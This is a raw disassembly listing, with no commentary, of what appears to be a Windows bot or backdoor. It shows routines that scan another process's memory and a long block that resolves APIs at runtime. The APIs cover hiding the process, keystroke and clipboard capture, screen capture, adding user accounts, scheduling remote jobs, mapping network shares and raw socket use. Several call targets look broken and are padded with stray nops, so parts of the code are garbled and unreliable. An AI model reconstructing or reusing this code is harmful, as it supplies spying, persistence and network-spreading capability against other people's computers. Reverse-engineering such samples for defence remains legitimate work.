mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_40940B xor esi, esi jmp loc_409529 ; --------------------------------------------------------------------------- loc_40940B: ; CODE XREF: sub_409392+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 26F0C53h test eax, eax jz loc_409518 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_409518 test [ebp+var_2B], 1 jnz loc_409518 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_409518 loc_40946E: ; CODE XREF: sub_409392+112j push edi push offset dword_43E308 call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409496 lea eax, [edi+200h] push eax push offset dword_43EB08 call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_4094A6 loc_409496: ; CODE XREF: sub_409392+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_409518 jmp short loc_40946E ; --------------------------------------------------------------------------- loc_4094A6: ; CODE XREF: sub_409392+102j test edi, edi jz short loc_409518 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call near ptr 2680478h nop test eax, eax jz short loc_4094E1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2680000h test eax, eax jz short loc_4094E1 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4094E1: ; CODE XREF: sub_409392+12Bj ; sub_409392+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_43F52C, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_43F524, eax mov dword_43F528, edi loc_409518: ; CODE XREF: sub_409392+90j ; sub_409392+A2j ... push [ebp+arg_0] push 0 call esi push eax call near ptr 26E033Bh nop mov esi, [ebp+var_10] loc_409529: ; CODE XREF: sub_409392+74j push [ebp+var_4] nop call near ptr 2610978h pop edi mov eax, esi pop ebx loc_409536: ; CODE XREF: sub_409392+24j pop esi leave retn sub_409392 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409539 proc near ; CODE XREF: sub_409037:loc_40912Fp var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 2700871h test eax, eax mov [ebp+arg_0], eax jz loc_40962B mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call near ptr 270030Dh nop mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_409622 mov edi, dword_4240EC loc_409584: ; CODE XREF: sub_409539+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 26F0C53h test eax, eax jz short loc_409610 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_409616 test [ebp+var_13], 1 jnz short loc_409616 push ecx push 8 call edi push eax call near ptr 26F0000h nop mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 2700000h test eax, eax jz short loc_409602 push offset dword_43E308 push esi call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409602 lea eax, [esi+400h] push offset dword_43EB08 push eax call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_409632 loc_409602: ; CODE XREF: sub_409539+9Fj ; sub_409539+B0j push esi push 0 call edi push eax nop call near ptr 26E033Bh jmp short loc_409616 ; --------------------------------------------------------------------------- loc_409610: ; CODE XREF: sub_409539+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_409616: ; CODE XREF: sub_409539+71j ; sub_409539+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_409584 loc_409622: ; CODE XREF: sub_409539+3Fj push [ebp+arg_0] nop call near ptr 2610978h loc_40962B: ; CODE XREF: sub_409539+1Ej xor eax, eax loc_40962D: ; CODE XREF: sub_409539+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409632: ; CODE XREF: sub_409539+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_43F524, ebx mov dword_43F528, eax cmp [eax], cl jnz short loc_409654 cmp [eax+1], cl jz short loc_40965C loc_409654: ; CODE XREF: sub_409539+114j ; sub_409539+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_409654 loc_40965C: ; CODE XREF: sub_409539+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2610978h push 1 pop eax jmp short loc_40962D sub_409539 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40966F proc near ; CODE XREF: sub_409037+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_43F520 push esi mov esi, dword_4240EC push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call near ptr 26F0000h nop mov ecx, dword_43F520 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_43F528 push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_43F52C push eax call dword_43F30C push [ebp+var_4] mov edi, offset dword_43F318 push offset dword_43E308 push offset dword_43EB08 push [ebp+arg_0] push offset unk_42CDC0 push 200h push edi call sub_41782A add esp, 1Ch push [ebp+var_4] push 0 call esi push eax call near ptr 26E033Bh nop mov eax, edi pop edi pop esi leave retn sub_40966F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409706 proc near ; CODE XREF: sub_409037:loc_409173p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_43F520 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 26F0BF7h push eax call near ptr 26F0000h nop and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_43EB08 mov edi, 200h mov esi, offset dword_43E108 loc_40974C: ; CODE XREF: sub_409706+FAj mov eax, dword_43F520 add eax, eax push eax push dword_43F528 push [ebp+var_14] call sub_417390 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_43F30C mov eax, dword_43F520 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4097C1 loc_409789: ; CODE XREF: sub_409706+B3j cmp [ebp+var_8], 0 jz short loc_4097DE mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4097AD cmp byte ptr [ecx+1], 0 jnz short loc_4097AD cmp dl, 20h jnb short loc_4097A7 and [ebp+var_8], 0 loc_4097A7: ; CODE XREF: sub_409706+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4097B1 loc_4097AD: ; CODE XREF: sub_409706+90j ; sub_409706+96j and [ebp+var_8], 0 loc_4097B1: ; CODE XREF: sub_409706+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_409789 cmp [ebp+var_8], 0 jz short loc_4097DE loc_4097C1: ; CODE XREF: sub_409706+81j push [ebp+var_14] push offset dword_43E308 push ebx push [ebp+arg_0] push offset unk_42CDC0 push edi push esi call sub_41782A add esp, 1Ch jmp short loc_4097F6 ; --------------------------------------------------------------------------- loc_4097DE: ; CODE XREF: sub_409706+87j ; sub_409706+B9j push offset dword_43E308 push ebx push [ebp+arg_0] push offset unk_42CE2C push edi push esi call sub_41782A add esp, 18h loc_4097F6: ; CODE XREF: sub_409706+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_40974C push [ebp+var_14] push 0 nop call near ptr 26F0BF7h push eax nop call near ptr 26E033Bh mov eax, esi pop edi pop esi pop ebx leave retn sub_409706 endp ; =============== S U B R O U T I N E ======================================= sub_40981F proc near ; CODE XREF: ___:0040E6F1p push ebx push ebp mov ebp, dword_424100 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4240DC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_40993F push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_43F714, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_43F688, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_43F66C, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_43F588, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_43F534, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43F564, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43F5D8, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_43F6C8, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_43F724, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43F594, eax call esi cmp dword_43F714, ebx mov dword_43F57C, eax jz short loc_40991D cmp dword_43F688, ebx jz short loc_40991D cmp dword_43F66C, ebx jz short loc_40991D cmp dword_43F588, ebx jz short loc_40991D cmp dword_43F564, ebx jz short loc_40991D cmp dword_43F5D8, ebx jz short loc_40991D cmp dword_43F6C8, ebx jz short loc_40991D cmp dword_43F724, ebx jz short loc_40991D cmp dword_43F594, ebx jz short loc_40991D cmp eax, ebx jnz short loc_409927 loc_40991D: ; CODE XREF: sub_40981F+B8j ; sub_40981F+C0j ... mov dword_43F728, 1 loc_409927: ; CODE XREF: sub_40981F+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_43F6A0, eax jz short loc_409954 push 1 push ebx call eax jmp short loc_409954 ; --------------------------------------------------------------------------- loc_40993F: ; CODE XREF: sub_40981F+1Dj call near ptr 2630B7Ah nop mov dword_43F72C, eax mov dword_43F728, 1 loc_409954: ; CODE XREF: sub_40981F+117j ; sub_40981F+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26E0000h mov edi, eax cmp edi, ebx jz loc_409A69 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_43F6C4, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_43F674, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43F608, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_43F718, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43F638, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_43F658, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_43F6BC, eax call esi cmp dword_43F6C4, ebx mov dword_43F5B0, eax jz short loc_409A0D cmp dword_43F674, ebx jz short loc_409A0D cmp dword_43F608, ebx jz short loc_409A0D cmp dword_43F718, ebx jz short loc_409A0D cmp dword_43F638, ebx jz short loc_409A0D cmp dword_43F658, ebx jz short loc_409A0D cmp dword_43F6BC, ebx jz short loc_409A0D cmp eax, ebx jnz short loc_409A17 loc_409A0D: ; CODE XREF: sub_40981F+1B8j ; sub_40981F+1C0j ... mov dword_43F730, 1 loc_409A17: ; CODE XREF: sub_40981F+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_43F634, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_43F548, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_43F604, eax call esi cmp dword_43F634, ebx mov dword_43F5F0, eax jz short loc_409A74 cmp dword_43F548, ebx jz short loc_409A74 cmp dword_43F604, ebx jz short loc_409A74 cmp eax, ebx jnz short loc_409A7E jmp short loc_409A74 ; --------------------------------------------------------------------------- loc_409A69: ; CODE XREF: sub_40981F+144j nop call near ptr 2630B7Ah mov dword_43F734, eax loc_409A74: ; CODE XREF: sub_40981F+232j ; sub_40981F+23Aj ... mov dword_43F730, 1 loc_409A7E: ; CODE XREF: sub_40981F+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409C19 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_43F6D8, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_43F61C, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_43F68C, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_43F574, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_43F5D4, eax call esi cmp dword_43F6D8, ebx mov dword_43F644, eax jz short loc_409B09 cmp dword_43F61C, ebx jz short loc_409B09 cmp dword_43F68C, ebx jz short loc_409B09 cmp dword_43F574, ebx jz short loc_409B09 cmp dword_43F5D4, ebx jz short loc_409B09 cmp eax, ebx jnz short loc_409B13 loc_409B09: ; CODE XREF: sub_40981F+2C4j ; sub_40981F+2CCj ... mov dword_43F738, 1 loc_409B13: ; CODE XREF: sub_40981F+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43F64C, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_43F624, eax call esi cmp dword_43F64C, ebx mov dword_43F6D4, eax jz short loc_409B4E cmp dword_43F624, ebx jz short loc_409B4E cmp eax, ebx jnz short loc_409B58 loc_409B4E: ; CODE XREF: sub_40981F+321j ; sub_40981F+329j mov dword_43F738, 1 loc_409B58: ; CODE XREF: sub_40981F+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43F65C, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_43F550, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_43F558, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_43F5B8, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_43F5BC, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_43F56C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43F628, eax call esi cmp dword_43F65C, ebx mov dword_43F55C, eax jz short loc_409BFC cmp dword_43F550, ebx jz short loc_409BFC cmp dword_43F558, ebx jz short loc_409BFC cmp dword_43F5B8, ebx jz short loc_409BFC cmp dword_43F5BC, ebx jz short loc_409BFC cmp dword_43F56C, ebx jz short loc_409BFC cmp dword_43F628, ebx jz short loc_409BFC cmp eax, ebx jnz short loc_409C06 loc_409BFC: ; CODE XREF: sub_40981F+3A7j ; sub_40981F+3AFj ... mov dword_43F738, 1 loc_409C06: ; CODE XREF: sub_40981F+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_43F554, eax jnz short loc_409C2E jmp short loc_409C24 ; --------------------------------------------------------------------------- loc_409C19: ; CODE XREF: sub_40981F+26Aj nop call near ptr 2630B7Ah mov dword_43F73C, eax loc_409C24: ; CODE XREF: sub_40981F+3F8j mov dword_43F738, 1 loc_409C2E: ; CODE XREF: sub_40981F+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409CFA push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_43F654, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_43F6AC, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_43F6B4, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_43F670, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_43F598, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_43F544, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_43F6B0, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_43F530, eax call esi cmp dword_43F654, ebx mov dword_43F5CC, eax jz short loc_409D05 cmp dword_43F6AC, ebx jz short loc_409D05 cmp dword_43F6B4, ebx jz short loc_409D05 cmp dword_43F670, ebx jz short loc_409D05 cmp dword_43F598, ebx jz short loc_409D05 cmp dword_43F544, ebx jz short loc_409D05 cmp dword_43F6B0, ebx jz short loc_409D05 cmp dword_43F530, ebx jz short loc_409D05 cmp eax, ebx jnz short loc_409D0F jmp short loc_409D05 ; --------------------------------------------------------------------------- loc_409CFA: ; CODE XREF: sub_40981F+41Aj call near ptr 2630B7Ah nop mov dword_43F744, eax loc_409D05: ; CODE XREF: sub_40981F+49Bj ; sub_40981F+4A3j ... mov dword_43F740, 1 loc_409D0F: ; CODE XREF: sub_40981F+4D7j mov ebp, dword_4240E0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409FCB push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_43F5E0, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43F70C, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43F584, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43F560, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_43F614, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_43F5FC, eax call esi push offset aSocket ; "socket" push edi mov dword_43F5C8, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_43F6E8, eax call esi push offset aConnect ; "connect" push edi mov dword_43F704, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_43F610, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_43F6F4, eax call esi push offset aHtons ; "htons" push edi mov dword_43F6A8, eax call esi push offset aHtonl ; "htonl" push edi mov dword_43F668, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_43F664, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_43F5A4, eax call esi push offset aSend ; "send" push edi mov dword_43F59C, eax call esi push offset aSendto ; "sendto" push edi mov dword_43F6B8, eax call esi push offset aRecv ; "recv" push edi mov dword_43F6CC, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_43F680, eax call esi mov dword_43F640, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_43F694, eax call esi push offset aListen ; "listen" push edi mov dword_43F650, eax call esi push offset aAccept ; "accept" push edi mov dword_43F690, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_43F6FC, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_43F648, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_43F60C, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_43F67C, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_43F6EC, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_43F620, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_43F5C4, eax call esi cmp dword_43F5E0, ebx mov dword_43F700, eax jz loc_409FD6 cmp dword_43F70C, ebx jz loc_409FD6 cmp dword_43F584, ebx jz loc_409FD6 cmp dword_43F614, ebx jz loc_409FD6 cmp dword_43F5FC, ebx jz loc_409FD6 cmp dword_43F5C8, ebx jz loc_409FD6 cmp dword_43F6E8, ebx jz loc_409FD6 cmp dword_43F704, ebx jz loc_409FD6 cmp dword_43F610, ebx jz loc_409FD6 cmp dword_43F6F4, ebx jz loc_409FD6 cmp dword_43F6A8, ebx jz loc_409FD6 cmp dword_43F668, ebx jz loc_409FD6 cmp dword_43F664, ebx jz loc_409FD6 cmp dword_43F5A4, ebx jz short loc_409FD6 cmp dword_43F6B8, ebx jz short loc_409FD6 cmp dword_43F6CC, ebx jz short loc_409FD6 cmp dword_43F680, ebx jz short loc_409FD6 cmp dword_43F640, ebx jz short loc_409FD6 cmp dword_43F694, ebx jz short loc_409FD6 cmp dword_43F650, ebx jz short loc_409FD6 cmp dword_43F690, ebx jz short loc_409FD6 cmp dword_43F6FC, ebx jz short loc_409FD6 cmp dword_43F648, ebx jz short loc_409FD6 cmp dword_43F60C, ebx jz short loc_409FD6 cmp dword_43F67C, ebx jz short loc_409FD6 cmp dword_43F6EC, ebx jz short loc_409FD6 cmp dword_43F620, ebx jz short loc_409FD6 cmp eax, ebx jnz short loc_409FE0 jmp short loc_409FD6 ; --------------------------------------------------------------------------- loc_409FCB: ; CODE XREF: sub_40981F+501j nop call near ptr 2630B7Ah mov dword_43F74C, eax loc_409FD6: ; CODE XREF: sub_40981F+6A0j ; sub_40981F+6ACj ... mov dword_43F748, 1 loc_409FE0: ; CODE XREF: sub_40981F+7A8j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0E5 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_43F5AC, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_43F538, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_43F630, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43F5E4, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_43F63C, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_43F600, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_43F578, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_43F570, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43F580, eax call esi cmp dword_43F5AC, ebx mov ecx, dword_43F600 mov dword_43F69C, eax jz short loc_40A0C1 cmp dword_43F538, ebx jz short loc_40A0C1 cmp dword_43F630, ebx jz short loc_40A0C1 cmp dword_43F5E4, ebx jz short loc_40A0C1 cmp dword_43F63C, ebx jz short loc_40A0C1 cmp ecx, ebx jz short loc_40A0C1 cmp dword_43F578, ebx jz short loc_40A0C1 cmp dword_43F570, ebx jz short loc_40A0C1 cmp dword_43F580, ebx jz short loc_40A0C1 cmp eax, ebx jnz short loc_40A0CB loc_40A0C1: ; CODE XREF: sub_40981F+860j ; sub_40981F+868j ... mov dword_43F750, 1 loc_40A0CB: ; CODE XREF: sub_40981F+8A0j cmp ecx, ebx jz short loc_40A100 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_43F618, eax jnz short loc_40A100 jmp short loc_40A0FA ; --------------------------------------------------------------------------- loc_40A0E5: ; CODE XREF: sub_40981F+7CCj nop call near ptr 2630B7Ah mov dword_43F754, eax mov dword_43F750, 1 loc_40A0FA: ; CODE XREF: sub_40981F+8C4j mov dword_43F618, ebx loc_40A100: ; CODE XREF: sub_40981F+8AEj ; sub_40981F+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A14A push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_43F5F4, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43F720, eax call esi cmp dword_43F5F4, ebx mov dword_43F58C, eax jz short loc_40A155 cmp dword_43F720, ebx jz short loc_40A155 cmp eax, ebx jnz short loc_40A15F jmp short loc_40A155 ; --------------------------------------------------------------------------- loc_40A14A: ; CODE XREF: sub_40981F+8ECj nop call near ptr 2630B7Ah mov dword_43F75C, eax loc_40A155: ; CODE XREF: sub_40981F+91Bj ; sub_40981F+923j ... mov dword_43F758, 1 loc_40A15F: ; CODE XREF: sub_40981F+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A255 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_43F568, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43F540, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_43F5B4, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_43F5E8, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_43F6F8, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43F5A0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_43F54C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43F53C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_43F5D0, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43F6C0, eax call esi cmp dword_43F568, ebx mov dword_43F678, eax jz short loc_40A260 cmp dword_43F540, ebx jz short loc_40A260 cmp dword_43F5B4, ebx jz short loc_40A260 cmp dword_43F5E8, ebx jz short loc_40A260 cmp dword_43F6F8, ebx jz short loc_40A260 cmp dword_43F5A0, ebx jz short loc_40A260 cmp dword_43F54C, ebx jz short loc_40A260 cmp dword_43F53C, ebx jz short loc_40A260 cmp dword_43F5D0, ebx jz short loc_40A260 cmp dword_43F6C0, ebx jz short loc_40A260 cmp eax, ebx jnz short loc_40A26A jmp short loc_40A260 ; --------------------------------------------------------------------------- loc_40A255: ; CODE XREF: sub_40981F+94Bj call near ptr 2630B7Ah nop mov dword_43F764, eax loc_40A260: ; CODE XREF: sub_40981F+9E6j ; sub_40981F+9EEj ... mov dword_43F760, 1 loc_40A26A: ; CODE XREF: sub_40981F+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A29F push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_43F590, eax call esi cmp dword_43F590, ebx mov dword_43F660, eax jz short loc_40A2AA cmp eax, ebx jnz short loc_40A2B4 jmp short loc_40A2AA ; --------------------------------------------------------------------------- loc_40A29F: ; CODE XREF: sub_40981F+A56j nop call near ptr 2630B7Ah mov dword_43F76C, eax loc_40A2AA: ; CODE XREF: sub_40981F+A78j ; sub_40981F+A7Ej mov dword_43F768, 1 loc_40A2B4: ; CODE XREF: sub_40981F+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A2E9 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_43F6E4, eax call esi cmp dword_43F6E4, ebx mov dword_43F6E0, eax jz short loc_40A2F4 cmp eax, ebx jnz short loc_40A2FE jmp short loc_40A2F4 ; --------------------------------------------------------------------------- loc_40A2E9: ; CODE XREF: sub_40981F+AA0j nop call near ptr 2630B7Ah mov dword_43F774, eax loc_40A2F4: ; CODE XREF: sub_40981F+AC2j ; sub_40981F+AC8j mov dword_43F770, 1 loc_40A2FE: ; CODE XREF: sub_40981F+AC6j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A35D push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_43F710, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_43F708, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43F6D0, eax call esi cmp dword_43F710, ebx mov dword_43F5A8, eax jz short loc_40A368 cmp dword_43F708, ebx jz short loc_40A368 cmp dword_43F6D0, ebx jz short loc_40A368 cmp eax, ebx jnz short loc_40A372 jmp short loc_40A368 ; --------------------------------------------------------------------------- loc_40A35D: ; CODE XREF: sub_40981F+AEAj call near ptr 2630B7Ah nop mov dword_43F77C, eax loc_40A368: ; CODE XREF: sub_40981F+B26j ; sub_40981F+B2Ej ... mov dword_43F778, 1 loc_40A372: ; CODE XREF: sub_40981F+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3A7 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_43F5DC, eax call esi cmp dword_43F5DC, ebx mov dword_43F6DC, eax jz short loc_40A3B2 cmp eax, ebx jnz short loc_40A3BC jmp short loc_40A3B2 ; --------------------------------------------------------------------------- loc_40A3A7: ; CODE XREF: sub_40981F+B5Ej call near ptr 2630B7Ah nop mov dword_43F784, eax loc_40A3B2: ; CODE XREF: sub_40981F+B80j ; 